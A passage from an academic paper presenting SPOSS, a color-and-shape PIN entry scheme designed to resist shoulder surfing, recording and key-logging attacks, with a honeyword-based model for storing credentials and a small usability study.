user, and only legitimate user can respond correctly to the presented challenge.
Apart from challenge response based authentication mechanisms, there are var-
ious other authentication methodologies that provide resilience against shoulder
surfing attacks. These include biometric authentication, Gaze-based password
entry [13,14] and one-time keypad. These solutions are also not widely used
in public domain mainly because they either incur extra cost due to hard-
ware/software requirements or extra overhead of key and space management.
There may also exist specific kind of attacks on these authentication mech-
anisms. For instance fingerprint can be easily forged in commercial fingerprint
scanners [19]. Detailed discussion on these kind of attacks are out of scope of this
paper. Several challenge response based approaches are proposed [2,6,17,18,24]
to overcome shoulder surfing attacks but these schemes are either resistant to
only human-based shoulder surfing attack or require multiple rounds to provide
authentication which increases login time.

Password loss can occur at the system end also where the attacker may
impose hardware or software based key-loggers to steal the credentials or attacker
may steal the credential file itself where the user name and PIN of the legitimate
users are stored. Key-logging attacks may be resisted by using virtual keypads
but still they are vulnerable to shoulder surfing attacks. Database where cre-
dentials are stored can be shielded with various layers of technical security -
Encryption and Hashing. Hashing is considered as the most secure way of storing
password, but one of the latest security threat on password based authentication
is Inversion Attacks in which even the hashed value can be inverted by performing
brute force computation [15,22]. In recent past, some of the reputed web based
organizations have suffered Inversion Attacks [9,10]. Honeyword based frame-
work [11] can prevent inversion attack by making password cracking detectable.

In honeyword model, for any arbitrary user ui rather than storing single
password, the system maintains a list {Wi = (wi,1, wi,2, ...., wi,k)} of distinct
passwords (known as sweetwords), where k is an integer ranging from as low
as 2 to as large as 1000. Selection of the value of k is totally dependent on
the administrator. Each element of the list is known as Sweetword or Poten-
tial Password. Exactly one of these sweetwords is equal to the correct password
of the user ui. This correct sweetword is known as Sugarword and remaining
(k− 1) sweetwords are known as Honeywords. These are generated using honey-
word generating algorithms [11] in such a way that by simply looking over the
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list, one can not identify the correct password. Let ci be the index (not known
to attacker) of sugarword, then wi,c(i) = pi.

The correct indexes of each user are stored in a separate file. If the password
file can be compromised on some system, then we are assuming that all other
files and information stored on that system can also be compromised. So this
model becomes useless if we store both the password file and index file on same
system. For this, secret information like above mentioned index file can be stored
in an auxiliary secure server known as Honeychecker. The computer system can
communicate with the honeychecker when login attempt is done or when user
changes his/her password. We assume that this communication is done through
the dedicated secure channel. Honeychecker must have the capability of raising
alarm signals to the administrator or some other party (depending on the policy
used) when someone tries to login using the honeywords.

In this paper, we present a new PIN based authentication mechanism, known
as SPOSS, that addresses the aforementioned security threats. SPOSS provides
resilience against key-loggers, human based shoulder surfing attacks and record-
ing attacks (assuming that only single session is recorded). Recording of multiple
sessions may reveal the secret credential. We also present a honeyword based
model for storing SPOSS credentials. Finally we will discuss how SPOSS is user-
friendly (not much mentally challenged and credentials are entered using single
round only) and cost efficient (don’t require extra hardware).

2 State-of-the-Art Techniques

In this section we would like to give a brief overview of existing shoulder surfing
resilient schemes and honeyword generation approaches.

2.1 Shoulder Surfing Resilient Authentication Techniques

Various challenge response based authentication schemes that provide resilience
against shoulder surfing attacks have been proposed. Some methodologies [17,18]
provide resilience against cognitive shoulder surfing attacks. Also various schemes
[2,24] provide resilience against recording-based shoulder surfing attacks but
they either take multiple rounds which increase the overall login time or need
mentally challenging computation from users.

Roth et al. [18] proposed a scheme with three variants to obviate shoulder
surfing attack. These variants are: Immediate Oracle Choices (IOC), Delayed
Oracle Choices (DOC) and probabilistic cognitive trapdoor game. In this scheme
the keypad is randomly partitioned into two sets. Numbers in first set are col-
ored black and the numbers in the other one are colored white. Out of the two
given buttons (black colored and white colored), user has to press the same
color button as the set to which the PIN digit belongs. The first two variants
provide resilience only against human-based shoulder surfing attacks and the
third variant provides partial resilience to recording attacks. It can prevent only
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one record of the login process. Also it takes multiple rounds to enter a single
digit.

Another challenge response based scheme that provides resistance against
shoulder surfing attacks is Shoulder Surfing Safe Login (SSSL) [17]. In this
scheme user needs a protected channel (e.g. earphones) to receive the challenge
(a random number between 1 and 9). A challenge table is constructed in such
a way that every digit (between 1 and 9) is an intermediate neighbour to other
8 digits. User has to visually locate the received challenge in this table and
then finally respond by clicking on the appropriate button that uniquely links
the secret challenge with the secret digit of the PIN. Major limitations of this
scheme are - need of a protected channel to receive challenge and PIN cannot
include digit 0 and not resistant to recording attacks.

De Luca et al. [14] introduced an authentication scheme where PIN is entered
using eye movements that are being monitored by an eye-tracking device. They
developed three possible interaction techniques: Dwell Time Method, Look and
Shoot and Gaze gestures. In Dwell Time method, user stares on a specific number
to trigger the action. In this variant user is unable to select two consecutive
numbers. To overcome this problem, they introduced Look and Shoot method
in which user has to hit a predefined button while looking at the number. This
method needs eye-hand coordination and also needs calibration. Also the point
where user is looking has to be accurate. The third variant is Gaze Gesture
where user has to perform a specific eye movement pattern in order to trigger
the action. This variant is vulnerable to shoulder surfing attack as there are
only ten gestures that can be performed. Above all, these techniques are not
much used in public place as they require a specific hardware and software to
be implemented.

PhoneLock [3] is another PIN entry scheme that provides resilience against
shoulder surfing attack. Phone Lock allows user to authenticate with the help of
audio or tactile cues. A secure channel is needed to capture audio cues. Various
graphical password schemes [1,4,8,12] also provide resilience against shoulder
surfing attacks. Though graphical passwords are easy to remember but they are
either more vulnerable to guessing attacks or have significant usability issues (in
time and efforts required to enter passwords).

2.2 Honeyword Generation Methods

Let the user ui provides password pi to the system while registering. The sys-
tem then generates k – 1 honeywords which should look similar to the provided
password so that all honeywords appear to be equally probable. The process
of generating honeyword (or chaff) is known as Chaffing. Juels and Rivest [11]
proposed a method known as Chaffing by Tweaking in which the selected posi-
tions of the user provided passwords are tweaked to obtain the honeywords. Each
position is replaced by the random character of same type. So digits are replaced
by digits, letters are replaced by letters and special characters are replaced by
special characters. Some of the variants of chaffing by tweaking are - Chaffing-
by-tail-tweaking, Chaffing-by-tweaking-digits, Chaffing-by-random-positions.
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If this technique is used in PIN based authentication mechanism, it is possi-
ble for the adversary to guess the correct PIN because users generally tends to
select some patterns like YYYY, MMDD, palindrome etc. as their PIN.

Another approach mentioned in [5] is Chaffing with a Password Model where
user given password is parsed into sequence of tokens and honeywords are gener-
ated in the similar syntatic pattern as the user provided password. For example,
if the password provided by user is chair63jumped then it may be decomposed
as W5|D2|W6 meaning a 5-letter word followed by a 2-digit number again fol-
lowed by another 6-letter word. Generated honeyword also belong to the same
model and might look like juicy56jackel. This technique is not feasible for PIN
based password.

In Take-a-tail method [11] the system changes the user password by append-
ing a fixed length random numeric tail to the password. User has to remember
the newly modified password as his secret credentials. For example if the pass-
word provided by the user is ‘ghbl@hj89g’ and the system appends ‘560’ as the
tail so user has to remember ‘ghbl@hj89g560’ as his password. The generated
honeyword might look like ‘ghbl@hj89g267’. If the user password is 4-digit PIN
then this mechanism converts the PIN into 7-digit PIN which is difficult for user
to remember.

3 SPOSS - A New PIN Entry Mechanism

We assume that the verifier (e.g. ATM machine) is trusted and performs authen-
tication procedure correctly. We define the secret shared between the user and
verifier as a set of two tokens: a 4-digit PIN and a color from a set of six pre-
defined colors. Each digit of PIN is a number from set {0, 1,....,9}. For security
purpose, we restrict the user from registering the PIN in which all the dig-
its are same. A detailed reasoning for this restriction is shown in Sect. 4.2.
Let the predefined set of colors be C and set of shapes be S. We assume
C = {Red, Y ellow,Grey,Blue,Green,Cyan} and S = {�,©,�}.

3.1 Basic Layout

SPOSS comprises of two user interfaces which we call as Challenge Interface and
Response Interface.

Challenge Interface: Challenge Interface consists of six labeled colors from
the set C and on each label a two-digit code is displayed. We call this code as
ColorCode.

Definition 1. ColorCode: It is a two digit code appearing on each color label
where each digit of ColorCode signifies the PIN position. Mathematically for a
4-digit PIN,

ColorCode = {xy|x, y ∈ {1, 2, 3, 4}, x<y}
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(a) Challenge
Interface for
selecting shape

(b) Response
Interface for
first digit

(c) Response
Interface for
second digit

(d) Response
Interface for
third digit

(e) Response
Interface for
fourth digit

Fig. 1. Challenge and response interfaces (Color figure online)

So for a 4-digit PIN the set of possible ColorCode is {12, 13, 14, 23, 24,
34}. These six ColorCodes are randomly and uniquely assigned to colored labels
present in Challenge Interface. The ColorCode is used during PIN entry process.
Challenge Interface also consists of a keypad with 10 digits {0, 1,....,9}, corre-
sponding to each digit one shape from the set S is displayed. The selection of
shape is done uniformly i.e. two shapes will appear three times and remaining
one shape will appear four times in Challenge Interface.

Challenge Interface is designed smartly enough to ensure that multiple Col-
orCodes results in the same shape that user has to select. These ColorCodes
are selected in such a way that even if the attacker guesses the shape and the
PIN, he/she is unable to figure out the registered color. We elaborate more on
this in Sect. 3. A detailed algorithm to build Challenge Interface is shown in
Algorithm 1.

Response Interface: Response Interface consists of a keypad depicting digits
{0, 1,....,9} and corresponding to each digit all the three shapes from set S are
displayed. Each shape is colored randomly and uniformly by the colors of set C.
By uniformly we mean that colors are equally distributed over the shapes. There
are ten occurrences of any shape, say circle. These ten circles need to be filled
uniformly using six colors. So any six occurrences (randomly selected) of circle
will be uniquely filled by six colors of set C and remaining four circles will be
filled uniquely by again randomly selecting any four colors from set C. Remaining
two shapes are also filled in similar fashion ensuring that color distribution is
uniform i.e. every color will appear exactly five times. Also Response Interface
is designed in such a way that all the three shapes corresponding to a particular
number are filled by different colors. A new Response Interface is built for all
digits of PIN.
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Algorithm 1. Build Challenge Interface
1: triangle count ← 3; circle count ← 3; square count ← 3; // initialize
2: Si = rand(S);
3: if (Si == �) then
4: triangle count ++;
5: else
6: if (Si == ©) then
7: circle count ++;
8: else
9: square count ++;

10: end if
11: end if
12: for i ← 0 to 9 do
13: assign ← 0; // initialize
14: while (assign == 0) do
15: Si = rand(S); // return random shape
16: if (Si == �) then
17: if (triangle count > 0) then
18: ShapeArray[i] = Si; assign ← 1;
19: triangle count − −;
20: else
21: continue;
22: end if
23: else
24: if (Si == ©) then
25: if (circle count > 0) then
26: ShapeArray[i] = Si; assign ← 1;
27: circle count − −;
28: else
29: continue;
30: end if
31: else
32: if (square count > 0) then
33: ShapeArray[i] = Si; assign ← 1;
34: square count − −;
35: else
36: continue;
37: end if
38: end if
39: end if
40: end while
41: end for
42: Shuffle (ShapeArray[]); // Shuffle ShapeArray[] such that at least three

ColorCodes result in correct shape
43: for all l ∈ Label do
44: Initialize CC ← 0;
45: CC = rand(ColorCode);
46: Assign CC to l;
47: Delete CC from ColorCode;
48: end for
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3.2 PIN Entry Mechanism

Let Pi = P1 · P2 · P3 · P4 be the PIN and Ci be the color registered by any
arbitrary user ui. After entering the username to the system, Challenge Inter-
face is displayed. In Challenge Interface user has to remember the SessionShape
(defined below) computed according to the ColorCode xy corresponding to the
color Ci. User has to remember this shape for the current session only.

Definition 2. SessionShape: It is the shape corresponding to the number D in
keypad of Challenge Interface where D is calculated (mentally) as:

D = abs(Px − Py)

where xy is the ColorCode present on the registered Color and abs() function
returns the absolute value.

Let X be the set that holds all the possible values of D for a particular PIN-
color pair and |X| denotes cardinality of X. Since all the ColorCodes may result
in a different value of D, |X|max = 6 and since the PINs having all the four same
digits are restricted, |X|min = 2. In Challenge Interface, correct SessionShape
will appear corresponding to at least three different elements of the set X when
|X| � 3 and will appear corresponding to both the elements of set X when
|X| = 2. This is done to ensure that even if the attacker guesses the shape and
PIN, he/she is unable to figure out the registered color.

In Response Interface user has to enter the PIN in indirect fashion. For enter-
ing the digit Pk user needs to press the color by which shape Si corresponding
to number Pk in keypad is filled. For each digit a different Response Interface
is shown. If user correctly presses all the four colors then he/she is allowed to
enter the system else the authentication is failed.

3.3 Example

For any arbitrary user, let registered secret PIN is 3921 and secret color is
Red. Let us consider the Challenge Interface and Response Interfaces shown
in Fig. 1. The ColorCode corresponding to registered color Red is 24. So user
needs to mentally compute D = abs(P2 − P4) where P2 = 9 (second digit of
registered PIN) and P4 = 1 (fourth digit of registered PIN). In simple words,
when ColorCode is equal to xy, user has to mentally compute the absolute
difference between xth digit and yth digit of registered PIN. After mentally
computing D = 8, user will look at the shape corresponding to number 8 in the
keypad. So SessionShape for this session is ©. It can be clearly seen in Challenge
Interface that the ColorCodes 12 (at Green), 13 (at Yellow) and 34 (at Blue)
also results in © as the SessionShape. User will enter into Response Interface
after pressing OK button.

In First Response Interface © corresponding to number 3(P1) in keypad is
filled with Blue color, so user will enter the first response by pressing Blue colored
Button. After pressing Blue button, Second Response Interface will be shown
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on the screen. In this interface © corresponding to 9(P2) is colored with Green
color. So user will press Green button to enter the response for second digit.
Similarly © corresponding to 2(P3) and 1(P4) in Third and Fourth Response
interface are colored with Blue and Red color. So user will press Blue and Red
color in order to enter the response. If all the four responses are correct, then
user will be successfully logged in.

3.4 Honeyword Based Model for SPOSS

Consider the system with n users u1, u2, u3,....,un; where ui is the username
for the ith user. Let pi denotes the correct legitimate PIN and ci denotes the
correct color of the user ui. We propose a honeyword based PIN storing model for
SPOSS: For each user rather than storing the single raw PIN-color combination
we will store a list {Wi = (wi,p1,c1 , wi,p2,c2 , ...., wi,pk,ck)} of distinct PIN-color
combinations corresponding to each username, where pk is possible PIN and ck
is possible color. The value of k should be multiple of 6 because SPOSS has
six possible color options; for simplicity we take k = 6. For SPOSS, we redefine
the traditional Honeyword as HoneyCredential which consist of two elements -
HoneyPIN and HoneyColor. In a similar manner we define SweetCredential and
SugarCredential.

User defined passwords are generally not defined randomly. Users rarely
choose passwords that are both hard to guess and easy to remember [23]. It
has been noted that rather than randomly choosing any 4-digit PIN, users tend
to set the PIN in some pattern that is easy to remember. Table 1 shows the
analysis of 4-digit PIN done in [21].

Table 1. PIN Analysis from leaked datasets

Pattern Example Evolution model Leaked dataset

# of matched % of all # of matched % of all the

PINs the PINs PINs PINs

All 4-digit PINs - 10000 100.00% 3496008 100.00%

YYYY (1940–2016) 1963, 2008 77 0.77% 993636 28.4%

MMDD 0406, 1230 365 3.65% 683923 19.56%

DDMM 0604, 3012 365 3.65% 734096 21.00%

Numpad Pattern 2580, 1357 68 0.68% 36346 1.04%

Sequential up/down 1234, 9876 16 0.16% 158814 4.54%

Couplets 1616, 5353 90 0.90% 99960 2.86%

Palindrome 1221, 6886 100 1.00% 131439 3.76%

One digit repeated 1111, 5555 10 0.10% 54174 1.55%

From Table 1, we can say that more than 80% of human chosen PIN falls in
the following pattern categories - YYYY, MMDD, DDMM, Numpad Pattern,
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Sequential up/down, Couplets and Palindrome. We are not considering ‘One
digit repeated’ category because we have restricted these kind of PINs from
SPOSS for security reasons (refer Sect. 4.2).

In our proposed model, HoneyPINs of above mentioned patterns are gener-
ated with Arbitrary Probability. Probability for selecting a pattern of HoneyPIN
is shown in Table 2. Number of elements in the list Wi is a multiple of 6. So
corresponding to each HoneyPIN, a HoneyColor is assigned with uniform distri-
bution. For example, let us take the length of list Wi equal to 6 and let for any
user ui, pi = 3921 and ci = Red. List Wi of user ui will look something like:

1987-Blue 8419-Grey 4040-Green

2001-Y ellow 3921-Red 2306-Cyan

Table 2. Probability of selecting pattern while generating HoneyPIN

Pattern Probability

YYYY 0.29

MMDD 0.20

DDMM 0.21

Numpad Pattern 0.01

Sequential up/down 0.05

Couplets 0.03

Palindrome 0.04

Random 0.17

We modify the algorithm to generate Response Interface. Shapes in the
Response Interface are filled with colors in such way that all the SweetCreden-
tials will respond in different color combination. A detailed algorithm to build
Response Interface is shown in Algorithm 2.

4 Security Analysis

SPOSS combines two independent tokens - color and a 4-digit PIN as the secret
credentials. In traditional PIN entry mechanism, weak PINs can be easily guessed
by the attackers but in SPOSS, even if any one token is compromised, the
attacker still has one more barrier to breach into the system. So, from secu-
rity point of view, adding another token is an obvious advantage. In the below
sections we will discuss SPOSS on various security parameters.
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Algorithm 2. Build Response Interface
1: Declare arrays triangle color[10], circle color[10], square color[10], temp[4];
2: for i ← 0 to 5 do
3: triangle color[i] = Ci;
4: circle color[i] = Ci;
5: square color[i] = Ci;
6: end for
7: for i ← 0 to 3 do
8: x = rand(C); temp[i] = x; Remove x from C;
9: end for

10: for i ← 6 to 9 do
11: triangle color[i] = temp[i − 6];
12: end for
13: swap(temp[0], first element of C);
14: swap(temp[1], second element of C);
15: for i ← 6 to 9 do
16: circle color[i] = temp[i − 6];
17: end for
18: swap(temp[2], first element of C);
19: swap(temp[3], second element of C);
20: for i ← 6 to 9 do
21: square color[i] = temp[i − 6];
22: end for
23: Shuffle(triangle color[],circle color[], square color[]) // Shuffle

arrays such that ∀i=0to9(triangle color[i] �= circle color[i] �= square color[i]) and
all HoneyPINs will result in different set of color responses

24: return (triangle color[],circle color[], square color[]);

4.1 Key-Logging Attacks

Traditional PIN entry mechanism is vulnerable to key logging attacks as the
attacker may easily intercept passwords or other secret credentials entered by
user. Keylogging attacks can be avoided by using Virtual keypads but they
increase vulnerability to shoulder surfing attacks. Another possible solution for
keylogging attacks is using One Time Password (OTP) but it has some serious
issues due to hardware dependency. It is not guaranteed that users will always
receive OTP. There may be issues with network in remote areas or mobile phone
might be discharged. Hence we cannot rely on OTPs. SPOSS is resistant to
key-logging attacks because of the fact that PIN is entered using mouse clicks.
So only thing that software based key-loggers can store is mouse clicks. Also
special hardware can be designed to record the click positions but the sequence
of colors that need to be pressed for successful login are changed randomly in
every session. Hence we can claim that SPOSS is secured against both software
and hardware based key-logging attacks.
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4.2 Shoulder Surfing Attacks

In this section we will show that SPOSS is resistant to human-based shoulder
surfing attack as well as to recording attacks. We assume that the attacker has
only one recorded session.

Human-Based Shoulder Surfing: According to Miller [16], limitation on
cognitive power of human beings is seven plus/minus two symbols. Vogel
et al. [20] improved it and showed that the short term memory of normal human
beings is limited to three or four symbols only. Some people with extraordinary
cognitive powers can remember upto five symbols. In Response Interface, there
is a combination of three shapes corresponding to each number and all of these
thirty shapes are randomly colored using six different colors. Remembering col-
ors of all the shapes corresponding to all the digits is out of the bounds of human
cognitive capabilities. So we can intuitively claim that SPOSS is secured against
human-based shoulder surfing attacks.

Recording-Based Shoulder Surfing: If the attacker records the whole login
procedure, he can limit the guess within the knowledge gathered from the
recorded session. Let the user presses Ci colored button to enter the first digit.
The SessionShape is unknown to the attacker so he/she has to create knowl-
edge sets for all the three shapes separately by considering one shape at a
time and limiting his analysis to that shape only for the remaining three dig-
its. In Response Interface, each shape colored by Ci color will appear either
one time or two times, hence for a 4-digit PIN and for a particular shape (say
ShapeGuessed), there will be minimum 1 (1 × 1 × 1 × 1) and maximum 16
(2 × 2 × 2 × 2) possible PINs. We call this set of PIN-shape combination as
Knowledge Set of shape ShapeGuessed. Thus Total Possible PIN (or TPP) can
be defined as below.

Definition 3. TPP: If knowledge set generated by considering shape s, is
denoted by KSs, then Total Possible PIN (TPP) for SPOSS will be:

TPP = KS� ∪ KS© ∪ KS�

In Response Interface, corresponding to a particular digit, all the three shapes
are guaranteed to be colored with different colors. So we can claim that there
will be no PIN common to all the three knowledge sets. Mathematically,

KS� ∩ KS© = ∅, KS© ∩ KS� = ∅ and KS� ∩ KS� = ∅
Hence, TPPmin = 1 + 1 + 1 = 3 and TPPmax = 16 + 16 + 16 = 48

For a particular PIN, in Challenge Interface, if at least three ColorCodes do
not result in the same shape for which attacker is checking, then that PIN can be
discarded from TPP (see Algorithm 3). There is a possibility that TPPmin can
be reduced to a single PIN. But even if the attacker guesses the PIN and shape,
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Algorithm 3. DiscardPIN(PIN P , ShapeGuessed S, Shape[] ShapeArray)
1: P = P1P2P3P4

2: Make Set X;
3: num element = 0;
4: for i ← 1 to 3 do
5: for j ←(i+1) to 4 do
6: Compute d = abs(Pi − Pj);
7: if d present in X then
8: continue;
9: else

10: Insert d in set X;
11: num element ++;
12: end if
13: end for
14: end for
15: for all a ∈ X do
16: if (ShapeArray[a] = S) then
17: count++;
18: end if
19: end for
20: if (num element == 2 and count >= 2) then
21: return N; // Accept PIN
22: else
23: if (count >= 3) then
24: return N; // Accept PIN
25: else
26: return Y; // Discard PIN
27: end if
28: end if

he will not be able to figure out the correct color because in Challenge Interface,
it is ensured that multiple ColorCodes result in correct shape. Note that user’s
secret is a PIN-color pair and one needs both tokens (PIN and Color) to login.
Also PIN entry response for a particular PIN is completely independent to PIN
entry response for some other PIN and the KS created for a particular response
can not be used for deducing any other PIN response. So we can say that even
if n people share their PIN with attacker, it is not possible for the attacker to
derive the PIN for the n + 1 person by one time recording.

Definition 4. DangerPIN: It is the 4-digit PIN in which all the digits are same.
Out of 10000 total PINs, there are only 10 possible DangerPINs,

{1111, 2222, 3333, 4444, 5555, 6666, 7777, 8888, 9999, 0000}
For DangerPINs, all the ColorCodes will result to the shape corresponding to

digit 0 and hence attacker can login without knowing the color. Though this case
of system breach is very rare (see Theorem 1), still we eliminate the possibility
of system breach by restricting the users from registering DangerPINs.
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Theorem 1. The probability of System Breach when DangerPIN is registered
by user and single session is recorded by attacker is approximately equal to zero.

Proof. Let D0 be the event where user registers a DangerPIN with all the digits
of PIN equal to D. P (D0) = 1

10000 . For DangerPINs, SessionShape will always
be the shape corresponding to 0 irrespective of color C. There are three shapes
and all of them are equally likely to occur at the position corresponding to 0. Let
Z0 be the event where S be the shape corresponding to 0 in Challenge Interface,
P (Z0) = 1

3 .
The Response Interface is built in such a way that there are exactly five

occurrences of any particular color distributed uniformly over three shapes.
Therefore, any one shape (� or © or �) colored with a particular color will
appear exactly one time and remaining shapes will have two occurrences of that
color in Response Interface. Let the response entered by user in Response Inter-
face is C1, C2, C3 and C4. For first response, either � of C1 color will appear
exactly one time or © of C1 color will appear exactly one time or � of C1 color
will appear exactly one time. Let E1 be the event where shape S of color C1

appears exactly one time in Response Interface and O1 be the event where this
particular shape appears corresponding to digit D. Probability of occurrence of
event E1 is 1/3 and of event O1 is 1/10. Since they are independent events,
P (O1|E1) = 1

30 .
Let E2, O2, E3, O3, E4 and O4 be the similar events for colors C2, C3 and

C4 respectively, P (O2|E2) = P (O3|E3) = P (O4|E4) = 1
30 .

P (System Breach for DangerPIN) = P (D0) × P (Z0) × P (O1|E1) ×
P (O2|E2) × P (O3|E3) × P (O4|E4) = 1

24300000000 = 4.115 × 10−11 ≈ 0. 	

Theorem 2. SPOSS is resilient to recording based observation attack for single
session for all PINs (except for the DangerPINs).

Proof. Consider the reduced set TPP generated after running Algorithm 3 for
all PINs. Also consider the set X generated in Algorithm 3 for each PIN and let
|X| denotes the cardinality of X. Let for any PIN P = P1P2P3P4 where P ∈ KSS ,
function Dif(xy, lm) returns true if abs(Px − Py) �= abs(Pl − Pm) and function
Shape(xy, S) returns true if shape S appears corresponding to abs(Px − Py) in
Challenge Interface.

For all PINs in the set TPP, one of the below two cases always satisfies.

CASE 1: When |X| = 2, in Challenge Interface, shape S will appear corre-
sponding to both the elements of set X and at least three ColorCodes will result
in shape S.

CASE 2: When |X| ≥ 3, in Challenge Interface, shape S will appear corre-
sponding to at least three elements of set X or in other words, at least three
ColorCodes will result in shape S.
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Matematically,

∀(P, S) ∈ TPP :

⎧
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎨

⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎩

∃ab∃cd∃ef | (ab, cd, ef) ∈ ColorCode ∧
Shape(ab, S) ∧ Shape(cd, S)
∧ Shape(ef, S) ∧ Dif(ab, cd)
∧ Dif(cd, ef) ∧ Dif(ef, ab)

where|X| ≥ 3

∃ab∃cd∃ef | (ab, cd, ef) ∈ ColorCode ∧
Shape(ab, S) ∧ Shape(cd, S)
∧ Shape(ef, S) ∧ (Dif(ab, cd)
∨ Dif(cd, ef) ∨ Dif(ef, ab))

where|X| = 2

Hence, for all PINs in TPP, at least three color combinations are possible, so
Total Possible PIN-Color Combinations = 3 × |TPP |
⇒ Total Possible PIN-Color Combinations > 1 ∵ |TPP | � 1

Hence we can claim that SPOSS is resilient to recording based observation
attacks for single recorded sessions. For DangerPIN, we have already shown that
possibility of system breach is very rare, still we restrict user from registering
DangerPIN. 	


4.3 Password File Compromise Attack

In this section we will investigate security aspects of the proposed honeyword
based credential storage model for SPOSS. In this attack, we assume that the
Credential File has been compromised and the attacker has list of HoneyCreden-
tial corresponding to each user. Since the index position of the SugarCredential
is assigned randomly and is stored in a secure system and all the generated Hon-
eyPIN belong to commonly known patterns, it is not possible for the attacker
to know the correct PIN simply by looking at the stolen file. If the attacker
makes a random guess then the probability of successful login is 1

k , where k is
the size of the list Wi. If the attacker makes a wrong attempt (HoneyPIN), the
system breach is detected and the attacker will be redirected to a fake account
where attacker will not know that he/she has been caught. The correct users
will be intimated about the security breach and advised to change the PIN. The
probability for detecting the breach is, P (Breach Detected) = k−1

k .
Theoretically for k = 6, 12 and 18; probability for detecting system breach

is 83.33%, 91.66% and 94.44% respectively. We asked 15 voluntary participants
to share their not in use PIN and then we had created a list of SweetCredentials
(taking k = 6) using these PINs. We asked 10 different participants to act as
attacker and guess the correct PIN (SugarCredential) by simply looking over
this list. The detailed results can be seen in Fig. 2. In 85.33% cases the system
breach was detected.
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Fig. 2. Percentage of detected and undetected system breaches by 15 attackers

5 Usability Analysis and Comparison

SPOSS needs two tokens as secret credentials: 4-digit PIN which is same as the
traditional PIN and a color which is very easy to remember. User also needs
to mentally perform a subtraction operation between single digit numbers to
use SPOSS. Intuitively we can say that subtraction operation is a basic math-
ematical operation which users can perform very easily without much mental
efforts. As compared to traditional PIN entry mechanism, SPOSS offers high
level of security and users with average cognitive abilities can very easily per-
form the computation that SPOSS needs. As seen in many existing authentica-
tion schemes that provide resistance to shoulder surfing attacks, usually multiple
rounds are needed to enter the PIN. SPOSS offers resilience against recording
attacks in a single round only. User needs only five clicks to enter 4-digit PIN
securely.

5.1 Experiment

In order to evaluate usability of SPOSS, we have developed a working model
of SPOSS using JAVA and conducted a survey on a good mix of literate and
illiterate 30 participants of varying age groups and gender. At the beginning,
participants were given a short explanation of SPOSS followed by two training
sessions. In the first training session, participants entered any random color-PIN
combination and in second training session participants entered color-PIN com-
bination of their choice. After the training sessions, we conducted three hands-on
sessions where participants entered the PIN on SPOSS without any help.

Error Rate: Out of 90 attempts (30 participants × 3 test sessions), 81 attempts
were successful and 9 attempts were unsuccessful resulting in an average error
rate of 10.00%. It has to be noted that once the participants became familiar to
SPOSS the error rate had decreased gradually. The detailed result is presented
in Table 3. Session-wise successful and unsuccessful attempts are shown in Fig. 3.
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Table 3. Error Rates and Authentication time in various sessions for 30 users

Session 1
(Training)

Session 2
(Training)

Session 3
(Test)

Session 4
(Test)

Session 5
(Test)

Average
(Test)

No of
participants
successfully
logged in

22 25 27 26 28 25.6

Error Rate (in %) 26.66 16.66 10.0 13.33 6.66 10.00

Average Login
Time (in seconds)

22.49 19.95 14.94 13.66 11.28 13.29

It can be clearly seen that successful attempts have increased and unsuccessful
attempts are decreasing.

Fig. 3. Number of successful and
unsuccessful attempts by 30 users

Fig. 4. Average, Minimum and Maxi-
mum login time of 30 users

Authentication Time: Login times of all the sessions of users were recorded.
The minimum, maximum and average login times of all participants in three
test sessions are shown in Fig. 4. The maximum time taken by any user was
21.26 s and minimum time was 7.93 s. Also the average login time has decreased
after every session as shown in Table 3. This is a clear indication that once users
become familiar to SPOSS, it is fast and easy to use.

User Opinion: At the end of experiment, participants were asked to complete
a short questionnaire (Table 4) regarding SPOSS in which participants were sup-
posed to rate SPOSS on various parameters on a scale from 1(very difficult) to
5(very easy). All 30 participants were also asked if they would prefer to use
SPOSS in security critical situations or not. 26 participants said “Yes” they will
prefer SPOSS in security critical situations. 3 participants answered as “Can’t
Say” and only 1 participant responded “No”.
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Table 4. Questionnaire responses

Question Mean (out of 5) Median (out of 5)

How easy is SPOSS to learn and use 4.16 4

How easy is it to remember the method to
enter the PIN

4.53 5

With practice, PIN can be entered quickly in
SPOSS

4.43 4

Give an overall rating for SPOSS on a scale of 5 4.33 4

5.2 Comparison with Existing Techniques

In this section we will compare SPOSS with various existing PIN based authenti-
cation schemes on various parameters which are summarized in Table 5. We have
compared SPOSS with traditional PIN entry mechanism, SSSL, PhoneLock, IOC
and EyePIN on various parameters.

Table 5. Comparison of various Authentication Schemes

Method # Rounds # Clicks for

m-digit PIN

Resilient to

Observation

Attacka

External

Device

Implementable

in Smart

Phones

Average Login

Time (in

seconds)

SPOSS 1 m+1 Fully No Yes 13.29

Direct PIN 1 m No No Yes 2.79

SSSL 1 m Partial Earphone Yes 8.00

PhoneLock 1 >m Partial Earphone Yes 14.80

IOC 4 4 × m Partial No Yes 23.228

EyePIN 1 0 Fully Eye-Tracker

(expensive)

No 54.00

a In fully observable environment

Traditional PIN entry scheme does not provide any resilience against shoul-
der surfing attack, whereas SSSL, PhoneLock and IOC provides resilience only
against human-based shoulder surfing attacks. Out of the mentioned schemes,
only SPOSS and EyePIN provide resilience against recording attacks. From the
table it is clearly seen that only IOC requires 4 rounds to enter the PIN and
rest of the schemes including SPOSS requires single round to enter the PIN but
SSSL, PhoneLock and EyePIN have hardware dependency. In SSSL and Phone-
Lock, user receives challenge through earphones which are not always guaranteed
to work properly. Efficiency of EyePIN depends on the accuracy of eye track-
ing device. Eye trackers with high accuracy are costly and it is not feasible to
use them in public domain where many devices need to be implemented. Using
SPOSS user can enter the PIN in single round only without using any external
support. It can also be noted from the table that for entering a m-digit PIN, tra-
ditional PIN entry mechanism and SSSL requires m clicks and SPOSS requires
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only one extra click. This click is of OK button of Challenge Interface after which
user enters the Response Interface. PhoneLock and IOC require more that one
click per digit. Though EyePIN does not require any click to enter the PIN but
it has usability issues with the eye gaze gestures that user needs to perform.

6 Conclusion and Future Work

In this paper, we presented a new PIN based authentication scheme known
as SPOSS that provides resilience against various observation attacks like key-
logging and shoulder surfing attacks and also against password file compromise
attacks where attacker may steal the credential file from database. We had shown
that SPOSS not only resists human-based shoulder surfing attack but is also
effective in obviating recording attacks where attacker can use external recording
devices like camera to record single login session. Unlike various existing PIN
entry mechanisms SPOSS is user-friendly (not mentally challenging) and cost-
efficient. We had also shown that the survey done for understanding the usability
aspects of the scheme is showing promising results.

There are many interesting aspects about SPOSS that needs to be addressed
in future. Firstly, since PIN entry is color dependent, it will be interesting to see
what possible improvements can be done in SPOSS in order to make it suitable
